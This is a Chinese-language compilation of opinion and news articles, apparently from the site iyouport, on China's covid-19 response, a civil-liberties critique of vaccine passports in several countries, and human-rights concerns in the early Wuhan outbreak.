北京的外交官将 covid-19 与2008年的全球金融危机相提并论，那是另一个事件让许多中国领导人相信西方正在“长期衰退”。可以说，这次流行病是一个更危险的时刻。

首先，2008年的信贷紧缩是中国和西方精英之间讨论的危机。很少有美国或欧洲选民知道或关心全球增长是由中国对国内基础设施的大规模投资来维持的。另一个原因是，中国并不处于防御状态。北京的精英们对西方制造的危机进行了观察。正如一位中国领导人在2008年对美国人说的那样，“你曾是我们的老师，而老师看起来并不聪明。”

这一次，在双方，精英和普通公民都对 covid-19 有强烈的看法。在北京，西方外交官回忆起这一年的流行病，真是苦不堪言。他们还记得1月和2月的黑暗日子，他们的本国政府取消了往返中国的定期航班，并请求允许从武汉撤离侨民，但却被传唤到中国外交部进行了长达数小时的会议，官员们愤怒地指责他们制造恐慌和侮辱中国。

在外国感染率攀升后，中国又表现出毫不掩饰地虚伪，几周后又转身将边境封锁得更严密。早期，外国在没有任何宣传的情况下，被要求向中国提供医疗援助，并照办。后来，当他们想为自己的病人购买中国的呼吸机时，却被告知“价格”中包含了对中国的公开赞扬。

为什么中国恢复增长会让人感觉喜忧参半？

「图」

远离北京的大使馆，外国对中国的看法也急剧恶化。在皮尤对发达经济体的民意调查中，61%的受访者对中国处理 covid-19 的做法表示遗憾。中国官员将这种批评归咎于美国反华鹰派的问题。这是自私的扯淡。在接受调查的**14**个国家中，有**13**个国家对美国的 **covid** 失误的批评更为严厉。这项调查是公众对政府当局所犯错误的不满的记录，而不是抨击中国的节目。

外国对中国记录的怀疑不完全公平。西方一些人猜测，中国在隐瞒大规模的传染病。这是不可能的：尽管有严格的审查制度，但一场类似武汉灾难的消息还是会泄露出去的。自三月下旬以来，中国对大多数外国人关闭了边境，建立了高科技监视系统来监控国内旅行，并通过封锁和大规模核酸测试来攻击即使是小规模的爆发。在10月11日宣布了十几起病例后，沿海城市青岛开始对900万人进行检测。

然而共产党提出的一个核心主张也是错误的 —— 中国称它对 covid-19 的防疫 “证明了专制的独特优势”。民主的台湾也出色地处理了病毒疫情，在2300万人口中仅有7人死亡。

即使找到了疫苗，争论也不会停止。共同的痛苦并没有让世界在2020年走到一起。全球经济的片面复苏，特别是伴随着中国的吹牛逼，就有可能造成更加尖锐的分歧。〇

China calls its “heroic” handling of covid-19 proof of its wisdom

原文

侵犯性、安全威胁和可怕的前景：关于疫苗护照您应该知道的事 - iyouport

COVID-19(84)

支持注射疫苗是一回事，强制疫苗护照则是完全不同的另一回事。每个人都需要明确这点。中国的社会信用评分体系的发展凸显了疫苗护照将如何迅速演变为一个险恶的数字监控系统。

【前言】在疫情进入全球蔓延状态的时候，我们开始关注以防疫为借口侵犯人权的监视设施和制度，首先为此制作了报告《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱》。此后，随着各国的动态陆续展开，我们继续汇总了其中一系列具有代表性的论述和新闻，收集在 列表-1 “COVID-19(84)” 中。

现在，依然没有看到疫情彻底终结的前景，但我们担心的人权危机却愈演愈烈。疫苗护照作为一项新的、但同样是侵入性监视的措施，也许表面上没有监视手环那般让人惊心动魄，但是，在它快速全球蔓延的趋势下，人们必须了解一些重要的事，以便在可能的情况下寻求在您的本地保护自己。

本文是一个说明，以便回答几个您可能应该关注的问题，关于疫苗护照；如果其中包含您尚未想到的问题，那么就是时候开始考虑了，因为这种制度将很可能进化成为中国的社会信用评分系统的性质 —— 并在全世界扎根。

我们都不希望看到那样的结果。就如您所知道的，结果究竟如何，取决于我们今天做些什么。

最后，如果在您的本地发生的相关情况未能包含在本文的问题解答中，欢迎在评论栏留言，告诉我们应该补充什么。

首先列举几个近期收集到的相关新闻故事的概要。

1、 C A 不列颠哥伦比亚省宣布疫苗护照，不允许豁免

「图」

从2021年9月13日起，任何在加拿大不列颠哥伦比亚省参加社交和娱乐场所及活动的公民都需要出示疫苗护照。

作为对该地区公民自由的进一步打击，该项规定不允许有任何豁免。公民将不会被豁免于疫苗护照计划，即使是出于医疗或宗教原因也是如此。

从9月13日起，进入许多企业都需要出示至少一剂COVID-19疫苗的注射证明。此外，到10月24日，所有人员都必须出示显示已接种两剂疫苗的证明。

所有12岁以下的公民将需要出示年龄证明，才能观看室内体育赛事、在室内或餐馆的天井用餐、在健身中心锻炼、以及参加室内活动，如婚礼和会议，而无需疫苗护照。

以下地点将需要接种疫苗的证明：

- 在室内举行的体育赛事
- 在室内举行的音乐会
- 表演艺术活动，包括舞蹈、芭蕾舞和交响乐
- 餐饮场所（室内和室外）
- 夜总会
- 赌博场所
- 电影院
- 体育中心/健身房
- 在室内提供高强度团体锻炼的企业

疫苗接种护照可以存储在智能手机上，用户将需要在许多企业的检查站出示，才能参加活动。

省长约翰·霍根表示，“疫苗是我们把这种大流行病抛在脑后的门票”……“因此，我呼吁所有符合条件的未接种疫苗的不列颠哥伦比亚人卷起袖子，阻止传播，帮助保护他们自己、他们的亲人和他们社区的人们”。

卫生部长阿德里安·迪克斯说：“接种疫苗可以保证不列颠哥伦比亚省每个人的安全，阻止COVID-19的传播。而且接种疫苗是保护自己和

你所爱的人的最佳选择，并确保你能继续参与这些公共和私人的活动和场合。我们的不列颠哥伦比亚省疫苗卡是一个重要的临时行动，直到我们过渡到符合联邦要求的统一疫苗证明。”

2、📚 拜登宣布超过 1 亿美国人需要疫苗护照才能上班

「图」

在美国推行疫苗护照的一个史无前例的举措中，拜登政府刚刚进行了一次重大升级，制定了新的任务，要求联邦工作人员、与联邦政府签订合同的公司，甚至包括拥有超过100名员工的私人公司，都要提供疫苗接种证明。这将影响到1亿多美国人。

拜登总统在周四晚上宣布了这一消息。

拜登在讲话中说：“我们一直很有耐心，但我们的耐心正在消磨殆尽”。

正如白宫新闻秘书 Jen Psaki 在周二告诉记者的那样，联邦政府没有权力强制要求每个人接种疫苗。

然而，她在周三又告诉记者，新措施将对全国各地的个人产生影响。

“总统正在宣布的六个步骤，将有新的内容，其中一些将与获得测试有关，一些将与授权有关，一些将与我们如何确保孩子们将在学校得到保护有关”，她说。

“肯定会有新的内容，当然会影响到全国各地的人们，但我们也都在一起工作，使病毒得到控制，回到我们的正常生活”。

对于新措施将对美国人产生什么影响的问题，Psaki 回答说，“这取决于你是否接种疫苗”。

拜登的宣布意味着美国大约250万联邦工作人员将必须拥有显示疫苗接种证明的疫苗护照。

拜登总统还提出了一项更有问题的任务，要求私营企业为员工引入疫苗护照（或每周的阴性covid测试）。

“劳工部正在制定一项紧急规则，要求所有拥有100名或以上雇员的雇主，要确保他们的所有员工充分接种疫苗或每周至少一次的阴性测试”，拜登说。

拜登在讲话中宣布，他将签署一项行政命令，强迫联邦工作人员接种COVID-19疫苗，并将要求提供疫苗接种证明。

《华盛顿邮报》的一项民意调查表明，52%的人支持企业强迫员工出示接种过疫苗的护照，45%的人反对。其余的人则表示不确定。

然而，在未接种疫苗的人中，只有**28%**的人表示，如果新的疫苗护照规定得到执行，他们会接种疫苗。其余的人说他们会辞掉工作。

此前，华盛顿州的一所公立高中让已接种疫苗和未接种疫苗的学生运动员都要佩戴脚踝监测器，以达到监视社交距离和追踪联系人的目的。

这个信息被伊顿维尔高中排球队一名15岁女孩的母亲带到了聚光灯下。

这位母亲在接受 The Post Millennial 采访时说，她的女儿给她发了一条关于被要求佩戴脚踝监测器的短信。在无法再次联系到她的女儿后，可能是因为她正在比赛，这位母亲给学校打电话，但没有人回答她的问题。于是她决定亲自去学校，在那里她与教练交谈，教练告诉她，上周举行了一次关于学生脚踝监视器计划的会议。

该监视设备是由一家名为 Triax 的科技公司制造的。该公司的网站称，该设备的目的是帮助“保持社交距离准则”，以及“实时了解这些准则是否得到遵守”。该监视技术公司的网站上提到建筑业和制造企业是潜在客户，而不是学校。

该监视设备通过“视觉和听觉警报来实现其保持社交距离的目标，因此个人知道何时将其当前距离调整到适当的社交距离”。

该监视设备还有一个功能，即“被动收集人与人之间的互动，以便在个人测试呈阳性的情况下追踪联系人(即 中国称之为「密接」的概念)”。

学校教练加文·克拉里克告诉这位母亲，如果一个未接种疫苗的学生检测结果呈阳性，他们将不得不被隔离14天。隔离政策不适用于接种疫苗的学生。

校区的返校文件中并没有包括脚踝监视器政策。此外，这位母亲也没有被告知实施监视制度的会议的相关内容，显然，她可以选择不参加该计划。

在周二接受阿里·霍夫曼节目采访时，这位母亲表示，她担心该计划会导致对未接种疫苗的学生的歧视，因为与接种疫苗的学生不同，未接种者必须被隔离14天。

伊顿维尔学区总监加里·尼尔坚持认为该监视装置的目的 “不是歧视”。

尼尔告诉 The Post Millennial，“我们收到了拨款（被称为ESSER III），其中特别包括支持高风险运动项目的条款，我们用其中的一些资金来支付近距离监测器。我们将这些监测器用于高度接触和中度室内接触活动。这些监测器适用于球场上的工作人员（教练）和学生，无论他们是否接种疫苗。如果一个学生或教练的检测结果呈阳性，我们将立即获得有关运动员和教练员的接触信息，这样我们就可以更严格地确定谁可能需要隔离”。

但学校董事会负责人马特·马歇尔有不同的信息，他说，学区已经 “搁置了这些设备，直到有适当的程序，包括社区意见和董事会批准程序”。

3、📖 抗议咖啡馆和餐馆的疫苗护照，法国抗议者在街头制造了一场盛宴

「图」

当法国政府推出疫苗护照时，立即遭到了反击。

而现在，作为抗议活动的一部分，政府正试图迫使咖啡馆和餐馆全面检查疫苗护照。人们颠覆了这一秩序，在街头为抗议者提供免费食物。

总统伊曼纽尔·马克龙和他的政府一直在否定支持公民自由的抗议活动，将其抹黑为 “反疫苗者和极右翼极端分子”。

大约一个月以来，法国的人们一直在上街示威，马克龙的疫苗护照任务已经扩展到火车站、咖啡馆和购物中心。

三周前，示威者的数量约为10万。仅一周后，人数就已经翻了一番。上周末，人数超过40万。示威活动不仅在巴黎举行，而且在法国和海外领土留尼汪和瓜德罗普的150多个城镇举行。

法国人民走上街头并不需要太多理由。他们认真对待他们的公民自

由。上周末至少有 141,000 人参加了疫苗通行证抗议活动，而仅在巴黎的示威活动就有 18,425 名抗议者参加。上面写着 “革命无国界” form enoughisenough14.org

德国和意大利等地也发生了类似的抗议活动。

通过疫苗护照的授权，马克龙和他的政府已经点燃了一场全国性的反抗运动，它可能会像黄背心运动（gilets jaunes）一样漫长和分裂，而黄背心只是因为大流行病的发生才停止了。

政府并没有让情况变得更好。8月早些时候，卫生部长将示威者污蔑为 “反疫苗、反科学和反国家”。主流媒体似乎也在与政府合作，《星期日泰晤士报》称抗议者为 “极右翼和青年军”。

但是，在社交媒体上广泛分享的抗议活动的录像讲述了一个完全不同的故事。虽然一些抗议者可能是反疫苗主义者，但是，他们中的大多数人都是已经接种过疫苗的人。此外，他们中的很多人都没有穿黄背心。

大多数抗议者说，他们抗议的是 “扼杀自由” 的东西—— 在抗击大流行病的幌子下，自由被逐渐侵蚀。抗议者只是不希望被迫隔离社会，受制于疫苗护照。

自周一以来，警方一直在突击检查餐馆，向没有疫苗通行证的顾客开出罚单。同样的情况也发生在火车站。同时，没有检查疫苗护照的餐馆老板有可能被判处一年监禁和45,000欧元的罚款。

批评者认为，马克龙正在利用强有力的大流行病措施作为他明年竞选连任的基础。他似乎认为，在抗击大流行病方面表现出的所谓实力将使他获得连任。

4、🇬🇧 英国强制使用疫苗护照，尽管其本国的疫苗部长称其为“歧视性”

「图」

在英国疫苗部长 Nadhim Zahawi 坚持认为，如果疫苗护照 “仅仅是疫苗”，那将是 “歧视性的”，而四天后，英国政府宣布，COVID-19疫苗护照将强制用于夜总会和 “其他所有有大量人群聚集的场所”。

“到9月底，所有18岁及以上的人都将有机会接受全面的疫苗接种，并

有额外的两周时间让这种保护真正生效”，Zahawi 在议会说，“因此，到那时，我们计划将全面接种疫苗作为进入夜总会和其他大量人群聚集的场所的条件。阴性测试的证明将不再是足够的”。

（在这里看到相关信息趋势）

英国首相鲍里斯·约翰逊去年声称自己是一个“热爱自由的保守党人”，并说冠状病毒限制是“我们最不想做的事”，他支持强制推行这些疫苗护照，迫使人们能否进入某些场所取决于是否出示疫苗接种证明。

“我们能够以这种方式开放的唯一原因是，我们已经为如此大比例的人口接种了疫苗”，约翰逊在一次新闻发布会上说，“现在这个国家的每一个成年人都得到了第一剂疫苗，这是惊人的。但不幸的是，这并不意味着每个18岁以上的人都已经注射了第一针”。

约翰逊继续抱怨说，“仍有35%的18–30岁的人，即300万人，目前完全没有接种疫苗 …… 我们需要更多的年轻成年人接受一剂保护，这对你们的家人和朋友以及你们自己都有极大的好处”。

他接着说，“生活中最重要的乐趣和机会可能会越来越依赖于疫苗接种”，并接着宣布：

“到9月底，所有18岁以上的人都将有机会接受2针疫苗接种，我们计划将所有疫苗接种作为进入夜总会和其他大量人群聚集的场所的条件。阴性测试的证明将不再是足够的”。

（在这里看到相关信息趋势）

具有讽刺意味的是，约翰逊是在一个被许多英国媒体称为“自由日”的日子里宣布这一疫苗护照的 —— 这是指今天该国解除了所有冠状病毒的限制。

首相不仅在所谓的自由日宣布了限制自由的疫苗护照，而且，还在因被国家卫生服务系统（NHS）测试和追踪计划探测到而自我隔离的情况下宣布这一消息，尽管他自己已经感染了冠状病毒并进行了双重疫苗接种。

民权团体和国会议员（MPs）抨击了强制执行疫苗护照的做法，并发誓要反对这种做法。

“我们将从议会到法院不断与之斗争”，公民自由团体 Big Brother

Watch 在推特上说。

英国宣布强制性疫苗护照是在法国对 “非必要” 服务强制实行疫苗护照的一周之后。拒绝遵守的法国公民将面临长达6个月的监禁，而允许没有COVID通行证的客户进入的企业可能被惩罚一年，并被罚款高达 45,000 欧元。

在这一宣布之前，英国企业和公民已经开始反击疫苗护照和其他冠状病毒监控技术。**80%的**英国夜总会表示他们将拒绝**COVID**护照，**20%**的**18–34**岁的人已经删除了英国的**COVID**监控应用程序。

不仅权利团体、企业和国会议员拒绝接受COVID监控技术，而且这些系统一直被那些操作者滥用。

最近有消息称，英国一名COVID监控人员利用其职权，使用联系人追踪数据在 Instagram 上追踪一名女学生，并向她发送未经请求的信息，他在信息中描述她 “很酷”、“很美”。该学生将该官员的行为描述为 “掠夺性的” 和 “令人毛骨悚然的”。

而在去年，英国联络人追踪系统的数据被披露已经出售给了第三方。

5、🦠 韩国总理称只有持有疫苗护照的人才可以恢复正常生活

「图」

韩国总理说，只有持有疫苗护照的人才能被允许恢复正常生活。这个东南亚国家是最新推出疫苗认证系统的国家。

“疫苗护照的推出将只允许那些已经接种疫苗的人体验恢复日常生活”，韩国总理 Chung Sye-Kyun 在解释新的COVID-19疫苗接种认证系统时说。

在4月底之前，韩国人已经拥有了一个能显示个人疫苗接种状态的应用程序。

韩国的疫苗接种计划是于2月开始的。到目前为止，已有超过85万人接受了冠状病毒疫苗注射。政府希望在6月前为其近5200万人口中的1200万人接种疫苗。

其他已经启动疫苗接种认证系统的国家包括中国和欧盟。在美国，据

说拜登总统想要实施联邦级的疫苗护照系统。

由于隐私和歧视问题，疫苗护照的想法存在很大争议，更不用说对公民自由的巨大威胁了 —— 佛罗里达州州长 Ron DeSantis 等批评者认为这一想法是对人们自由的不必要限制。

同时，其他国家，如七国集团和中国，正在考虑建立一个全球性或通用的疫苗接种护照系统。

6、OpenTable 寻求通过新的整合使疫苗护照正常化

「图」

8月下旬，流行的餐厅预订应用程序 OpenTable 宣布，它将推出一项新功能，允许其客户“轻松实施”疫苗强制规定，并允许用户出示疫苗接种证明。这一消息是随着美国和世界其他地区越来越多的城市强制要求户外和室内场所及活动的疫苗护照。

OpenTable 无视人们对公民自由的担忧，并表示它正在与安全公司CLEAR合作，后者提供了一个数字疫苗认证系统。

“为了帮助食客在餐厅轻松地提供疫苗接种证明，OpenTable 和安全身份公司CLEAR合作，通过CLEAR的数字疫苗卡为食客提供一种简单的方式来展示疫苗接种证明”，该餐厅预订应用程序上说，并链接到一篇新的博客文章来宣布这一举措。

OpenTable 将允许餐馆表明它们是否有疫苗接种的规定。

要使用这项新功能，用户必须通过 OpenTable 网页应用或移动应用创建一个CLEAR账户。下一步将是把他们的COVID-19疫苗证书与OpenTable连接起来，然后用户才能在有疫苗接种规定的场所出示该证书。

这样的发展是为了应对更多的城市和管辖区将实施疫苗授权，因为这种有争议的、侵入性的跟踪监视系统已经在全世界变得正常。到目前为止，在美国，有三个主要城市有接种疫苗的规定：洛杉矶、纽约和旧金山。

OpenTable 的新疫苗认证功能可能会在这些城市使用，甚至被其他地区的餐厅使用，这些地区尚未实施强制规定，但没有禁止私营企业实施。

7、 🇮🇱 以色列：疫苗护照将很快只发给接种过第三剂的人

「图」

10月，没有接种 COVID-19 疫苗加强针的以色列人失去了他们的 “Green Pass” 特权。

Green Pass 是以色列版本的疫苗护照，进入大多数地方，包括餐馆、体育场馆、酒店、电影院和剧院，都需要用到它。

从10月起，Green Pass 的特权将只提供给那些已经接受过强化注射的人。

8月底，12岁以上的人都可以注射加强针。

Green Pass 项目和其他类似项目正在受到批评，原因有很多 —— 出于隐私和公民自由的原因，并且它还导致了 “永久的注射循环”，据世卫组织称，这可能会大大延迟第三世界国家的疫苗供应。

已经有一些迹象表明，以色列政府将采取这种做法。

8月，以色列卫生部长尼赞·霍洛维茨暗示，该国正在达到这样一个地步，即 疫苗护照只对那些已经接种过三剂疫苗注射的人有意义。

“大约半年后，你必须接种第三针。否则，疫苗就会失去它的效力”，霍洛维茨说，“Green Pass 用来证明一个人在某种程度上是安全的 …… 所以当我们知道疫苗在一定时期后就会失去效力的时候，就没有理由给没有再接种的人发放通行证了。”

8、 🦠 包括接触者追踪信息在内的 3800 万条记录在网上曝光

「图」

在这个不断监视和大规模收集数据的时代，在 “COVID保护” 的幌子下，这样的恶性事件将变得越来越普遍。

微软的 Power Apps 最近被错误地配置了，这导致一千多个在线应用程序被任何发现它们的人使用。

Upguard 的研究分析师发现，有超过3800万条使用微软 PowerApps 门户平台的网络应用的记录被在线曝光。

在这些记录中，包括家庭住址、电话号码、社会保险号码和疫苗接种情况等信息，据称都是从 **COVID-19** 联系人追踪尝试、疫苗登记和雇员数据库中获取的。

马里兰州卫生部、美国航空公司、福特公司、J.B.亨特公司和纽约市大都会运输署都是受该事件影响的组织。尽管这些漏洞似乎已经得到解决，但是，它们说明了一个看似简单的错误如何能产生广泛的恶性结果。

微软的 PowerApps 门户服务是一个开发平台，可以简单地构建供外部使用的网络或移动应用程序，它拥有所有暴露的数据。

暴露的数据和其任何内容都还没有被改变。据 Upguard 报道，超过**33.2**万个电子邮件地址和用于工资发放的微软员工**ID**都在被曝光范围内。

例如，在大流行期间，有可能使用 Power Apps 门户提供面向公众的网页，以及疫苗预约报名网站的管理系统。除了个人的姓名和电子邮件地址之外，该公司声称微软混合现实门户的39,000条记录也被曝光。

基于云的数据库多年来一直是一个主要的危险源，因为配置错误。这使得大量的数据容易受到未经授权的访问和盗窃。业界一直在努力识别潜在的错误配置，并在主要的云供应商默认情况下对客户数据进行保密，但直到最近，这个问题才被列为优先事项。虽然仍未解决。

疫苗护照：它对自由、隐私人权和公民权的威胁

「图」

2020年3月，在已宣布的冠状病毒大流行的早期阶段，世界各国领导人开始限制其公民的自由，强迫隔离。

许多国家将他们对该大流行病的反应定为临时措施。例如，白宫的一项早期冠状病毒倡议，鼓励人们呆在家里，标题是“15天内减缓传播”。

然而，一年多以后，这些主要的民主国家中不仅有许多仍然在封锁状

态，而且，很多政府还利用这场大流行病推出了进一步的管制措施，侵犯公民的自由和隐私。

在这里看到全球报告《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》

在过去的一年里，政府支持的联系人追踪应用程序、告密网站等等都已成为普遍现象。

现在，世界各国政府正在推行一项对自由、隐私人权和公民权构成更大风险的新措施 —— 冠状病毒疫苗护照。

疫苗护照的常见问题

「图」

1、什么是疫苗护照？

「图」

疫苗护照是一个数字或实物的通行证，可以储存你的COVID-19疫苗接种状态，并记录你的COVID-19测试结果。

大多数疫苗护照以智能手机应用程序的形式出现，但一些地区也以其他形式发行疫苗护照，如可打印的二维码或实体卡片。

在已经采用疫苗护照的国家和州，公民必须扫描或出示疫苗护照才能进入酒吧、电影院、餐馆、体育赛事和其他商业场所。

进入这些场所的条件是，疫苗护照显示持有人已接种COVID-19疫苗或最近冠状病毒检测呈阴性。

2、疫苗护照是否合法？

「图」

影响疫苗护照的法律因国家而异，由于这方面的法律先例很少，所以没有一个明确的答案。

然而，即使是那些认为疫苗护照可能是非法的法律专家也承认，在法院作出有约束力的裁决之前，你在实践中几乎无能为力 —— 这一过

程可能需要几个月或几年的时间。

除非你生活在一个已经计划禁止疫苗护照的地区，如佛罗里达州或密苏里州，否则，你唯一的直接手段就是避开那些实行疫苗护照的企业，等待具有约束力的法律先例的建立。

法律专家认为，长期挑战疫苗护照的能力最终取决于疫苗护照的实施。然而，他们建议，可以利用现有的隐私法和反歧视法来发起挑战。

在隐私法角度的挑战需要证明疫苗护照在没有法律规定的同意下收集、储存或分享个人数据，在反歧视法角度的挑战则需要证明疫苗护照基于受法律保护的特征而非法歧视人们。

3、疫苗护照收集哪些数据？

「图」

至少，疫苗护照会收集持有人的疫苗接种情况和检测结果，并将这些数据存储在本地，可以是一张纸或一张卡，也可以是以加密的形式存储在持有人的手机上。

一些疫苗护照还收集其他数据，如 持有人的姓名、出生日期、地址、联系信息、生物识别数据和位置数据。它们也可能将其中一些数据储存在“云端”数据库中。

4、谁可以获得疫苗护照数据？

「图」

大多数政府卫生部门都会保留公民的疫苗接种情况记录。

如果政府与私营公司共同创建疫苗护照，这些公司也可能从疫苗护照中收集一些数据。

此外，要求人们出示或扫描疫苗护照的场所都可能会同时收集疫苗护照上的一些数据。

5、如何保证疫苗护照数据的安全？

「图」

对于非数字形式的疫苗护照，持有人有责任保护数据的安全。任何拿到疫苗卡或文件的人都可以看到它们所包含的所有信息。对于数字形式的疫苗护照，用于保护数据的方法取决于您所在地区和所使用的技术。

以下是影响疫苗护照数据安全性的主要因素的分类：

- 在持有人的手机上进行本地加密的数据 —— 加密的类型和强度。
- 存储在云数据库中的数据，或在扫描或显示疫苗护照时由第三方收集的数据 —— 相关的安全协议和做法，可能包括是否使用端对端加密和随机标识符。

6、我在哪里可以找到关于疫苗护照的数据收集和安全做法的具体信息？

「图」

对于大多数疫苗护照来说，你可以通过在线研究该护照，找到关于收集数据的详细信息，以及保护这些数据的方式。

以下是一些可能提供这种信息的主要地方：

- 与疫苗护照相关的官方文件和隐私政策（这些可能列在应用商店页面或相关应用的官方网站上）。
- 开发疫苗护照的任何公司的官方文件和隐私政策（这些可能列在公司的官方网站上）。
- 扫描或查看疫苗护照的场所的官方文件和隐私政策（这些可能会在公司的官方网站上列出）。
- 您所在地区的相关数据隐私法（这些可能会在政府官方网站上提供）。

如果您没有找到相关文件和政策，您有权向对应的部门和机构询问。

7、疫苗护照与普通护照有什么不同？

「图」

普通护照对国内旅行没有任何限制。疫苗护照对国内旅行有深远的限制。

8、疫苗护照与年龄证明有什么不同？

「图」

年龄证明适用于小范围的年龄限制产品，如酒精和香烟。疫苗护照则限制进入更广泛的商业场所。

9、疫苗护照与黄热病卡有何不同？

「图」

黄热病卡（显示黄热病疫苗接种证明）只有在进入黄热病风险高的国家时才需要。它们对国内旅行没有任何限制。

黄热病的致死率也比冠状病毒高得多。感染严重黄热病的人中有30%至60%会死亡，而感染冠状病毒的人中有2.2%会死亡。

尽管死亡率低得多，但冠状病毒疫苗护照对持有人的国内和国际旅行限制要严格得多。

1. 它们对自由施加了重大限制

「图」

在大流行之前，许多国家的公民能够不受限制地自由出入酒吧、电影院、餐馆、体育赛事等场所。

疫苗护照侵蚀了这种自由，它要求人们在参加这些相同的活动之前，必须出示他们已经接种疫苗或最近COVID-19检测呈阴性的证明。

从本质上讲，疫苗护照创造了一个两级化系统。持有疫苗护照的人可以自由进入任何商业场所，并完全可以使用这些企业提供的所有产品和服务。而那些拒绝接受疫苗护照制度的人则被剥夺了这些自由，并被剥夺了获得广泛的重要产品和服务的机会。

2. 它们侵蚀了隐私人权

「图」

疫苗护照通常会收集生物识别数据，并与包含敏感个人信息的云端数据库连接，如疫苗接种状态和COVID-19检测结果。

虽然一些系统引入了安全措施，以防止这些数据落入坏人之手（如使用随机长数字作为标识符），但其他系统已被证明是缺乏安全措施的。例如，有报道称，纽约的疫苗护照系统有令人难以置信的松懈的安全协议，使得随机的任何人都很容易窃取你的数据。

其他数字形式的冠状病毒追踪系统的实施也表明，当这些类型的系统被引入时，其收集和存储的数据往往与众多第三方共享。例如，在英国，为遵守其“联络人(密接)追踪法”而收集的数据最终被卖给了第三方，并且引入了一项新的法律，允许警方随意访问自我隔离的人的数据。

而且，不管有什么样的安全协议，数字健康记录一直面临着被破坏的风险。每年都有数以百万计的病人记录在数据泄露中被曝光。

甚至在数字数据隐私问题之外，疫苗护照还通过其设计本身公开暴露了一些健康数据。每一个进入被要求使用疫苗护照的场所的人，都会向周围的人公开透露自己的疫苗接种状况或健康状况的细节。

3. 它们给了那些在大流行期间限制自由和隐私的机构更多的权力

「图」

政府和科技公司已经利用大流行病来限制人们的行动，监视人们在网上的言论，并收集他们的个人数据。

疫苗护照给了这些机构更多的权力，让当权者继续走这条路，并对其人民施加前所未有的控制。

政府几乎完全掌握了人们的行动，因为政府可以制定标准，规定谁可以旅行和进入商业场所。

承包创建和维护疫苗护照的科技公司也受益匪浅，因为用户被迫使用他们的技术，交出自己的数据，并遵守他们的规则。

4. 它们为更具侵略性的措施铺平了道路

「图」

疫苗护照引入了数字基础设施，可用于根据任何标准限制人们获得产品和服务。目前，这一标准与冠状病毒疫苗状态和测试结果有关，但

在未来，这一标准可能会大大扩展。

中国的社会信用评分体系的发展凸显了疫苗护照将如何迅速演变为一个险恶的数字监控系统。自2009年推出以来，这个系统已经在中国根深蒂固，并利用广泛的因素拒绝了数百万公民获得火车票和飞机票的机会。像在火车上大声播放音乐或闯红灯这样的小事，就足以让中国公民的社会信用分数降低。

让这种潜在的未来更加令人不寒而栗的是，英国前首相托尼·布莱尔和中国领导人等公众人物正在呼吁实施全球疫苗护照计划。如果这样的计划被引入，这将意味着一个高度集中化的系统将能够制定所有标准，决定整个世界的行动自由。

5. 疫苗护照并是不必要的

「图」

据称，目前的COVID-19疫苗对有症状的冠状病毒的保护效果高达95%，这意味着任何想要接种疫苗的人都可以获得对病毒的高度保护。

在COVID-19疫苗吸收水平较高的国家，冠状病毒病例和死亡人数已大大下降。例如，在以色列和英国（疫苗吸收率最高的两个国家），自他们开始推广COVID-19疫苗以来，病例已下降79%，死亡人数下降90%。

然而，尽管接种疫苗的人感染病毒的风险很低，而且在疫苗吸收水平高的国家，病毒的传播已经大大减少，而疫苗护照的支持者坚持认为，这种限制自由的技术对于减缓传播是“必要的”。

但是数据表明，不仅冠状病毒的传播在没有疫苗护照的情况下照样会放缓，而且将**COVID-19**测试结果为阴性作为疫苗护照的标准之一也会降低其有效性。

没有任何测试是100%准确的，这意味着会有假阳性（导致人们在没有真正感染COVID-19的情况下也被拒绝进入场所）和假阴性（导致人们在感染了COVID-19的情况下被允许进入场所）。

希望这篇文章能对您有所帮助。请随时记得您的权利和权力，它们仅仅在您认为自己没有的时候，才会真的没有。〇

原文

冠状病毒疫情中7种侵犯人权的方式最为突出 - iyouport

COVID-19(84)

【2020年2月10日存档】侵犯人权行为阻碍而不是促进了对公共卫生紧急事件的应对，并削弱了其效率。

File photo: GovHK

对流行病的反应有可能影响数百万人的人权。首先是健康权，但是其他多项权利也处于危险之中。

“侵犯人权行为阻碍而不是促进了对公共卫生紧急事件的应对，并削弱了其效率”，大赦国际说。

1、早期审查

「图」

2019年12月下旬，武汉的医生与同事分享了他们对新疫情的恐惧，症状类似于2002年在中国南部开始爆发的严重急性呼吸道综合症（SARS）。结果是。他们因 “散布谣言” 而被当地当局噤声并受到处罚。

“中国的医学专家试图对这种病毒发出警报。如果政府不试图将真实的危险压制到最低，世界可能有机会更及时地应对病毒的传播，” 大赦国际的 Nicholas Bequelin 说。

一个月后，最高人民法院在网上发布了一篇文章，质疑武汉当局的决定。对于医生们来说，这被普遍认为是正确的。

然而，中国政府的最高领导层似乎是尽了最大的努力以试图压低疫情爆发的真实严重程度，这一点从中国对世界卫生组织的积极游说中可以看出，以阻止宣布疫情爆发是全球卫生紧急状态。*Wuahn ophthalmologist Li Wenliang was among eight people reprimanded by*

police in December for “rumour-mongering” over the SARS-like virus. The infected doctor passed away on February 7. Photo: Li Wenliang.

2、健康权

「图」

武汉的医疗体系现在不堪重负，医疗机构和卫生专业人员正努力应对疫情不断扩大的规模。

排了几个小时的长队后许多患者仍然被拒之门外。就连必要的诊断测试都不能满足所有需求者。

“中国必须确保在武汉和其他地方，所有受冠状病毒感染的人都能获得适当的卫生保健。遏制这种流行病很重要，但预防和治疗也很重要，这就是为什么健康权应成为应对措施不可或缺的一部分。” Nicholas Bequelin 说。

“尽管世卫组织对中国不断给予赞誉，但事实是，政府的反应一直是 —— 而且仍然是 —— 非常有问题的。”

当地媒体报道说，由于公共交通中断，人们无法迅速去医院，在某些情况下，甚至无法从家中转移死难者的尸体。

《世界人权宣言》所保障的健康权规定了获得医疗保健的权利、获得信息的权利、禁止在提供医疗服务时受到歧视，免受未经同意的医疗的自由，以及其他重要保证。

3、审查制度仍在继续

「图」

中国当局坚持控制新闻叙述和扼杀当局不喜欢的报道，继续推动对有时关于该病毒的合法信息的审查。

自危机开始以来，当局已经审查了许多文章，其中包括中国主流媒体的文章，例如《北京青年报》和《财经》。

Nicholas Bequelin 表示：“中国当局正冒着隐瞒信息的风险，可能会阻碍医学界解决冠状病毒问题，甚至可能难以帮助人们保护自己免受病毒的侵害。”

“某些信息并非所有人都能获得的事实增加了冠状病毒造成伤害的风险，并延迟了有效的响应。”

4、活动人士受到骚扰和恐吓

「图」

试图在社交媒体上分享有关冠状病毒信息的人们也遭到了中国政府的攻击。

例如，律师和公民记者陈秋实报告说，他们在武汉医院发布录像后受到当局的骚扰。

